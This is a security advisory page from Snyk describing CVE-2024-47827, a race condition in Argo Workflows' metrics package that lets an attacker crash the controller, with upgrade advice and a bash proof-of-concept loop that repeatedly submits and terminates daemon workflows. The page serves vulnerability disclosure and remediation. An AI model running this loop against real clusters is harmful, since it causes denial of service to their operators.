Race Condition Affecting github.com/argoproj/argo-workflows/workflow/metrics package, versions >=3.6.0-rc1 <3.6.0-rc2


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (6th percentile)

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  • Snyk IDSNYK-GOLANG-GITHUBCOMARGOPROJARGOWORKFLOWSWORKFLOWMETRICS-8309367
  • published28 Oct 2024
  • disclosed28 Oct 2024
  • creditAndrew Melnick

Introduced: 28 Oct 2024

CVE-2024-47827  (opens in a new tab)
CWE-362  (opens in a new tab)

How to fix?

Upgrade github.com/argoproj/argo-workflows/workflow/metrics to version 3.6.0-rc2 or higher.

Overview

Affected versions of this package are vulnerable to Race Condition via the global variable metrics_k8s_request when a second request is made before the first completes. An attacker can cause the system to crash by executing a workflow.

PoC

#!/bin/bash -xeu

while true ; do
    name=$(
        { argo submit /dev/stdin <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: curl-
spec:
  entrypoint: main
  templates:
  - name: main
    dag:
      tasks:
        - name: no-op
          template: no-op
          withSequence:
            count: 3
  - name: no-op
    daemon: true
    container:
      image: alpine:3.13
      command: [sleep, infinity]
EOF
    } | head -n1 | awk '{ print $2 }'
    )
    ( sleep 30; argo terminate $name ) &
    sleep 15
done

CVSS Scores

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version 3.1